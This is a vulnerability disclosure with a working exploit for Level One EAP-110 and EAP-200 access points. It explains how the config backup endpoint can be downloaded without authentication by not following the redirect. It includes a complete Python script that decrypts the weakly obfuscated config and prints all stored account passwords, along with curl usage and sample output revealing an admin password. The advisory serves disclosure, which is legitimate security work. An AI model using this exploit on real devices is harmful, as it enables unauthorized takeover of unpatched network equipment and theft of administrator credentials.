Level One Enterprise Access Points Password Disclosure

Level One Enterprise Access Points Password Disclosure
======================================================

Summary:
--------

Level1 EAP Devices offer a function do download the device
config file.
This download mechanism is not properly protected such that
an attach can download the config file without authentication.
Further is the config file only protected by pseudo crypto
and contains all passwords in plain text.

Known vulnerable:
-----------------

EAP-110
EAP-200

Firmware version: 	2.00.03
Build number:		1.50-1.5045

Others may also vulnerable, the firmware image looks very generic.
So far we had only access to EAP-110 and 200 devices.

For both devices no firmware update is available.
Side note: Level1 has never released a firmware update
for the said devices.

Details:
--------

http://<device-ip>/backupCfg.egi is used to download the device
configuation.
If the user is not authenticated it will redirect to
http://<device-ip>/utilities/backup.asp which will query for
username and password.
But the backupCfg.egi CGI does not terminate after sending the
HTTP 302 redirect.
Any HTTP client which does not follow redirects is therefore able
to download the config file.

The encrypted config file can easily decrypted with our
tellpassword.pl script.

Credits:
--------

David Gstir <david@sigma-star.at>
Richard Weinberger <richard@sigma-star.at>

Exploit:
--------

---cut---
# tellpassword.py
#
# Extracts user accounts from Level1 (ip4net)
# EAP-200 (and other) Wifi Access Points
#
# (c) 2013 sigma star gmbh

import sys, re

attribRegex = re.compile(r"(\w+)=\"([^\"]*)\"")

if (len(sys.argv) != 2):
    print "USAGE: %s config-backup.conf" % sys.argv[0]
    exit(1)

# decrypt config
encrypted = open(sys.argv[1], 'rb')
plain = open('plain.xml', 'w')
cntr = 0
encrypted.seek(128)
byte = encrypted.read(1)
print "Decrypting config file into plain.xml"
while byte:
    plainOrd = ((ord(byte) ^ 0xff) + cntr) % 0x80
    plain.write(chr(plainOrd))
    cntr = (cntr + 1) % 0x40
    byte = encrypted.read(1)
encrypted.close()
plain.close()

# find user accounts
print "Parsing accounts..."
plain = open('plain.xml', 'r')
for line in plain:
    if "<user" in line:
        user = None
        password = None
        for match in attribRegex.finditer(line):
            attrib = match.group(1)
            if attrib == "name":
                user = match.group(2)
            elif attrib == "password":
                password = match.group(2)
	if len(password) > 0:
	        print " - %s: %s" % (user, password)
plain.close()
---cut---

Usage:
------

$ curl http://10.59.5.15/backupCfg.egi > config-backup.conf
$ python tellpassword.py config-backup.conf
Decrypting config file into plain.xml
Parsing accounts...
 - admin: #gs#1